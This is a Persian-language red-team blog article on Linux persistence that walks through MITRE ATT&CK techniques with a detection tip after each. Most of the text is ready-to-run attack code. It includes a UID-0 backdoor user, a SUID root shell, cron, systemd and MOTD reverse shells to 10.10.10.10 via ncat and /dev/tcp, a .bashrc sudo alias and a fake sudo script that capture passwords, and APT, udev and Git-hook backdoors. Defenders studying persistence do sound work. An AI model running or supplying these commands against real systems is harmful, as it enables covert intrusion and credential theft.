VulnCity

Persistence در سیستم‌عامل لینوکس

نویسنده: یاسین عابدینی · دسته: RedTeam · تاریخ انتشار: ۱۴۰۵/۵/۲

توی فرآیند Redteam به یه لینوکس Access گرفتی؟ حالا باید چیکار کنی؟

نکته‌ای که خیلی از تازه‌کارها فراموشش می‌کنن اینه که یک Shell یا Session باز، دائمی نیست. Reboot شدن سیستم، قطع شدن Network، بسته شدن Process توسط Admin یا حتی شناسایی توسط تیم Blue Team، همه می‌تونن دسترسی‌ای که با زحمت به دست آوردی رو در یک لحظه از بین ببرن. اینجاست که مرحله‌ی Persistence وارد بازی می‌شه؛ یعنی تثبیت و تضمین دسترسی روی سیستم Target، به‌طوری که حتی بعد از قطع Connection اولیه هم بتونی دوباره به سیستم برگردی.

در فریم‌ورک MITRE ATT&CK، Persistence یک Tactic مجزا (TA0003) محسوب می‌شه و ده‌ها Technique زیرمجموعه‌ی خودش داره. در این مقاله قصد داریم مهم‌ترین و پرکاربردترین روش‌های Persistence روی Linux رو به‌صورت عملی و کاربردی بررسی کنیم.

۱. Basic Reverse Shell

قبل از رفتن سراغ تکنیک‌های Persistence، خوبه یادآوری کنیم که یک Reverse Shell ساده معمولاً اولین ابزاری هست که برای برقراری Connection موقت به سمت Attacker استفاده می‌شه. با ابزار ncat می‌تونیم این کار رو روی سه Protocol مختلف انجام بدیم:

ncat --udp -lvp 4242
ncat --sctp -lvp 4242
ncat --tcp -lvp 4242

این دستورات صرفاً یک Listener روی پورت 4242 باز می‌کنن. نکته‌ی مهم این‌جاست که یک Reverse Shell به‌تنهایی Persistence محسوب نمی‌شه؛ چون با بسته شدن Session، Connection از بین می‌ره. برای همین باید این Shell رو داخل یکی از مکانیزم‌های زیر Embed کنیم.

نکته‌ی Detection: مانیتورینگ Outbound Connectionهای غیرمعمول روی پورت‌های بالا و Processهایی مثل ncat, nc, bash که مستقیماً به یک IP خارجی وصل می‌شن، یکی از ساده‌ترین راه‌های شناسایی این رفتار روی سمت Blue Team است.

۲. Add a Root User

یکی از مستقیم‌ترین روش‌های Persistence، ساختن یک کاربر جدید با UID و GID برابر با صفر (یعنی معادل Root) است:

sudo useradd -ou 0 -g 0 john
sudo passwd john
echo "linuxpassword" | passwd --stdin john

با این کار، حتی اگر Vulnerability اصلی هم Patch شود، همچنان یک Account با دسترسی کامل Root روی سیستم باقی می‌ماند.

نکته‌ی Detection: بررسی دوره‌ای فایل /etc/passwd برای پیدا کردن کاربرانی با UID برابر صفر (به‌جز root)، یکی از سریع‌ترین راه‌های شناسایی این تکنیک است.

۳. SUID Binary

با ساختن یک Binary با Bit مخصوص SUID، می‌شه یک Shell با دسترسی Root ساخت که هر کاربری با اجرای آن، دسترسی Root می‌گیرد:

TMPDIR2="/var/tmp"
echo 'int main(void){setresuid(0, 0, 0);system("/bin/sh");}' > $TMPDIR2/croissant.c
gcc $TMPDIR2/croissant.c -o $TMPDIR2/croissant 2>/dev/null
rm $TMPDIR2/croissant.c
chown root:root $TMPDIR2/croissant
chmod 4777 $TMPDIR2/croissant

نکته‌ی Detection: اسکن دوره‌ای سیستم با دستوراتی مثل find / -perm -4000 -type f 2>/dev/null برای پیدا کردن Binaryهایی با SUID Bit فعال که در مسیرهای غیرمعمول مثل /tmp یا /var/tmp قرار دارند.

۴. Crontab

Crontab یک فایل پیکربندی برای زمان‌بندی اجرای Taskها (Cron Job) در سیستم‌های Unix-like است. ساختار هر خط از Crontab به این شکل است:

* * * * * command-to-execute
| | | | |
| | | | └── Day of the week (0-7, Sunday = 0 or 7)
| | | └──── Month (1-12)
| | └────── Day of the month (1-31)
| └──────── Hour (0-23)
└────────── Minute (0-59)

یکی از پرکاربردترین روش‌ها، اجرای یک Script یا Reverse Shell در هر بار Reboot شدن سیستم است:

(crontab -l ; echo "@reboot sleep 200 && ncat 10.10.10.10 4242 -e /bin/bash")|crontab 2> /dev/null

نکته‌ی Detection: بررسی خروجی crontab -l برای هر کاربر و همچنین محتوای /etc/crontab و /etc/cron.d/ برای پیدا کردن Entryهای مشکوک، به‌خصوص آن‌هایی که به IPهای خارجی وصل می‌شوند.

۵. Bash Configuration File

فایل ~/.bashrc یک Script پیکربندی مخصوص هر کاربر برای Bash است که هر بار یک Shell تعاملی (Interactive, Non-login) باز می‌شود، به‌صورت خودکار اجرا می‌شود (مثلاً باز کردن یک Terminal جدید).

یک نمونه از Backdoor داخل .bashrc که با اجرای دستور sudo توسط کاربر، یک Reverse Shell راه می‌اندازد:

TMPNAME2=".systemd-private-b21245afee3b3274d4b2e2-systemd-timesyncd.service-IgCBE0"
cat << EOF > /tmp/$TMPNAME2
  alias sudo='locale=$(locale | grep LANG | cut -d= -f2 | cut -d_ -f1);if [ \$locale  = "en" ]; then echo -n "[sudo] password for \$USER: ";fi;if [ \$locale  = "fr" ]; then echo -n "[sudo] Mot de passe de \$USER: ";fi;read -s pwd;echo; unalias sudo; echo "\$pwd" | /usr/bin/sudo -S nohup nc -lvp 1234 -e /bin/bash > /dev/null && /usr/bin/sudo -S '
EOF
if [ -f ~/.bashrc ]; then cat /tmp/$TMPNAME2 >> ~/.bashrc; fi
if [ -f ~/.zshrc ]; then cat /tmp/$TMPNAME2 >> ~/.zshrc; fi
rm /tmp/$TMPNAME2

روش دیگر، Hijack کردن مستقیم دستور sudo با یک Alias است تا Password ورودی کاربر داخل یک فایل ذخیره شود:

chmod u+x ~/.hidden/fakesudo
echo "alias sudo=~/.hidden/fakesudo" >> ~/.bashrc

و در نهایت، محتوای Script جعلی fakesudo:

read -sp "[sudo] password for $USER: " sudopass
echo ""
sleep 2
echo "Sorry, try again."
echo $sudopass >> /tmp/pass.txt
/usr/bin/sudo $@

نکته‌ی Detection: Diff گرفتن دوره‌ای از فایل‌های .bashrc و .zshrc نسبت به یک Baseline شناخته‌شده، و بررسی Aliasهای تعریف‌شده برای دستورات حساس مثل sudo.

۶. Startup Service

فایل /etc/network/if-up.d/upstart هر بار که یک Network Interface بالا می‌آید، اجرا می‌شود. با اضافه کردن یک خط Reverse Shell به آن، می‌شه یک Persistence سطح سیستمی ایجاد کرد:

RSHELL="ncat $LMTHD $LHOST $LPORT -e \"/bin/bash -c id;/bin/bash\" 2>/dev/null"
sed -i -e "4i \$RSHELL" /etc/network/if-up.d/upstart

نکته‌ی Detection: بررسی دوره‌ای Integrity فایل‌های داخل /etc/network/if-up.d/ و مقایسه با نسخه‌ی اصلی توزیع Linux.

۷. Systemd User Service

می‌توان یک Systemd Service مخصوص کاربر (بدون نیاز به دسترسی Root) در مسیر ~/.config/systemd/user/ ساخت:

vim ~/.config/systemd/user/persistence.service

محتوای فایل:

[Unit]
Description=Reverse shell

[Service]
ExecStart=/usr/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'
Restart=always
RestartSec=60

[Install]
WantedBy=default.target

فعال‌سازی و اجرای Service:

systemctl --user enable persistence.service
systemctl --user start persistence.service

نکته‌ی Detection: بررسی خروجی systemctl --user list-unit-files برای هر کاربر و همچنین محتوای پوشه‌ی ~/.config/systemd/user/.

۸. Systemd Timer File

یک Systemd Timer معادل Cron Job است، با این تفاوت که به‌جای Cron از قابلیت‌های خود Systemd استفاده می‌شود و همراه با یک Service File کار می‌کند.

فایل Timer در مسیر /etc/systemd/system/backdoor.timer:

[Unit]
Description=Backdoor Timer

[Timer]
OnBootSec=5min
OnUnitActiveSec=1h

[Install]
WantedBy=timers.target

فایل Service مربوطه در مسیر /etc/systemd/system/backdoor.service:

[Unit]
Description=Backdoor Service

[Service]
Type=simple
ExecStart=/bin/bash /opt/backdoor/backdoor.sh

فعال‌سازی و اجرای Timer:

sudo systemctl enable shout.timer
sudo systemctl start shout.timer

نکته‌ی Detection: بررسی systemctl list-timers --all به‌صورت دوره‌ای برای پیدا کردن Timerهای غیرمعمول، همراه با بررسی Serviceهای مرتبط با آن‌ها.

۹. Message of the Day

فایل /etc/update-motd.d/00-header بخشی از پیام خوش‌آمدگویی (MOTD) است که هنگام هر SSH Login نمایش داده می‌شود. اضافه کردن یک دستور به این فایل باعث می‌شود آن دستور در هر Login اجرا شود:

echo 'bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"' >> /etc/update-motd.d/00-header

نکته‌ی Detection: بررسی محتوای فایل‌های داخل /etc/update-motd.d/ و مقایسه با نسخه‌ی پیش‌فرض توزیع.

۱۰. User Startup File

مسیر ~/.config/autostart/ در Desktop Environmentهای لینوکس (مثل GNOME, KDE, XFCE) برای اجرای خودکار برنامه‌ها هنگام Login کاربر استفاده می‌شود. هر برنامه با یک فایل .desktop تعریف می‌شود:

[Desktop Entry]
Type=Application
Name=Custom Script
Exec=/home/user/scripts/startup.sh
Hidden=false
NoDisplay=false
X-GNOME-Autostart-enabled=true

نکته‌ی Detection: بررسی دوره‌ای محتوای پوشه‌ی ~/.config/autostart/ برای هر کاربر روی سیستم‌های دسکتاپ.

۱۱. Udev Rule

Udev، مدیر Deviceهای Kernel در لینوکس است که رویدادهای مربوط به Deviceها را به‌صورت Dynamic مدیریت می‌کند. می‌توان با تعریف یک Rule، به محض وصل شدن یک Device خاص (مثلاً یک USB)، یک Script را اجرا کرد:

echo "ACTION==\"add\",ENV{DEVTYPE}==\"usb_device\",SUBSYSTEM==\"usb\",RUN+=\"$RSHELL\"" | tee /etc/udev/rules.d/71-vbox-kernel-drivers.rules > /dev/null

بعد از ذخیره‌ی Rule، باید آن را Reload کرد:

sudo udevadm control --reload-rules
sudo udevadm trigger

نکته‌ی Detection: بررسی دوره‌ای فایل‌های داخل /etc/udev/rules.d/ برای Ruleهایی که Field RUN آن‌ها به یک Binary یا Script غیرمعمول اشاره می‌کند.

۱۲. APT Configuration

اگر بتوان یک فایل داخل مسیر apt.conf.d ایجاد کرد، با استفاده از Hook زیر می‌توان یک دستور را قبل از هر بار اجرای apt-get update اجرا کرد:

APT::Update::Pre-Invoke {"CMD"};

نمونه‌ی عملی:

echo 'APT::Update::Pre-Invoke {"nohup ncat -lvp 1234 -e /bin/bash 2> /dev/null &"};' > /etc/apt/apt.conf.d/42backdoor

نکته‌ی Detection: بررسی دوره‌ای محتوای پوشه‌ی /etc/apt/apt.conf.d/ برای Fileهای اضافه یا غیرمعمول.

۱۳. SSH Configuration

یکی از رایج‌ترین و پایدارترین روش‌های Persistence، اضافه کردن یک SSH Key به پوشه‌ی ~/.ssh است.

فایل ~/.ssh/authorized_keys فایل استاندارد SSH برای نگهداری Public Keyهایی است که اجازه‌ی Login به یک Account را دارند. به‌صورت تاریخی، authorized_keys مربوط به Protocol نسخه‌ی ۱ و authorized_keys2 مربوط به نسخه‌ی ۲ SSH بوده است.

مراحل کار:

۱. یک Key جدید با ssh-keygen بسازید.

۲. محتوای ~/.ssh/id_rsa.pub را داخل ~/.ssh/authorized_keys یا ~/.ssh/authorized_keys2 بنویسید.

۳. Permission درست را روی فایل‌ها تنظیم کنید.

مسیر ~/.ssh/ — Permission پیشنهادی: 700 — فقط خود کاربر می‌تواند پوشه را Read/Write/Execute کند.
مسیر ~/.ssh/authorized_keys — Permission پیشنهادی: 600 — فقط خود کاربر می‌تواند فایل را Read/Write کند.
مسیر ~/.ssh/authorized_keys2 — Permission پیشنهادی: 600 — مشابه بالا؛ فایل Legacy و Deprecated.

نکته‌ی Detection: مانیتورینگ تغییرات فایل‌های authorized_keys در تمام Home Directoryهای سیستم و مقایسه‌ی Public Keyهای ثبت‌شده با یک لیست شناخته‌شده و مجاز.

۱۴. Git Configuration

Backdoor کردن Git یک روش مفید برای رسیدن به Persistence بدون نیاز به دسترسی Root است. نکته‌ی مهم این‌جاست که دستورات Backdoor نباید هیچ Outputی تولید کنند، وگرنه شناسایی آن‌ها بسیار ساده خواهد بود.

Git Configuration Variables

چند متغیر پیکربندی در Git وجود دارد که با انجام اقدامات خاصی، دستورات دلخواه را اجرا می‌کنند. این Configها می‌توانند در سطح کاربر (~/.gitconfig)، سطح Repository (path/to/repo/.git/config) و گاهی از طریق Environment Variable تنظیم شوند.

core.editor هر بار که Git نیاز به باز کردن یک Editor داشته باشد (مثل git rebase -i یا git commit --amend) اجرا می‌شود. معادل آن، متغیر GIT_EDITOR است:

[core]
editor = nohup BACKDOOR >/dev/null 2>&1 & ${VISUAL:-${EDITOR:-emacs}}

core.pager هر بار که Git حجم بالایی از داده را نمایش دهد (مثل git diff, git log, git show) اجرا می‌شود. معادل آن، متغیر GIT_PAGER است:

[core]
pager = nohup BACKDOOR >/dev/null 2>&1 & ${PAGER:-less}

core.sshCommand هر بار که Git با یک Remote Repository از طریق SSH ارتباط برقرار کند (مثل git fetch, git pull, git push) اجرا می‌شود. معادل آن، متغیر GIT_SSH یا GIT_SSH_COMMAND است:

[core]
sshCommand = nohup BACKDOOR >/dev/null 2>&1 & ssh
[ssh]
variant = ssh

نکته: مقدار ssh.variant (معادل GIT_SSH_VARIANT) از نظر تکنیکی اختیاری است، اما بدون آن، Git دستور sshCommand را دو بار پشت‌سرهم اجرا می‌کند.

Git Hooks

Git Hookها Programهایی هستند که در یک پوشه‌ی مخصوص قرار می‌گیرند تا در نقاط خاصی از اجرای Git، فعال شوند.

به‌صورت پیش‌فرض، Hookها در پوشه‌ی .git/hooks هر Repository ذخیره می‌شوند و زمانی اجرا می‌شوند که نامشان با Action جاری مطابقت داشته باشد و Executable باشند (یعنی با chmod +x).

Hookهای مفید برای Backdoor کردن:

pre-commit: قبل از اجرای git commit
pre-push: قبل از اجرای git push
post-checkout: بعد از اجرای git checkout
post-merge: بعد از git merge یا بعد از اعمال تغییرات جدید توسط git pull

علاوه بر راه‌اندازی یک Backdoor، بعضی از این Hookها می‌توانند برای Sneak کردن تغییرات مخرب داخل یک Repository، بدون آن‌که کاربر متوجه شود، هم استفاده شوند.

در نهایت، با تنظیم متغیر core.hooksPath در فایل Git Config سطح کاربر (~/.gitconfig) به یک پوشه‌ی مشترک، می‌توان تمام Git Hookهای یک کاربر را به‌صورت Global، Backdoor کرد. توجه داشته باشید که این روش، هر Hook مخصوص هر Repository را از کار می‌اندازد.

نکته‌ی Detection: بررسی دوره‌ای متغیرهای core.editor, core.pager, core.sshCommand و core.hooksPath در فایل‌های .gitconfig سطح کاربر و Repository، همراه با بررسی محتوای پوشه‌ی .git/hooks در Repositoryهای حساس.

جمع‌بندی

Persistence یکی از حساس‌ترین و در عین حال مهم‌ترین مراحل یک Redteam Engagement است؛ چون هم باید دسترسی را حفظ کند و هم تا حد امکان از دید Blue Team و ابزارهای Monitoring پنهان بماند. همان‌طور که دیدیم، لینوکس امکانات متنوعی از سطح Kernel (مثل Udev) تا سطح Application (مثل Git Hooks) در اختیار قرار می‌دهد. شناخت دقیق این تکنیک‌ها، هم برای تیم Red و هم برای تیم Blue (به‌منظور Detection و Hardening) ضروری است.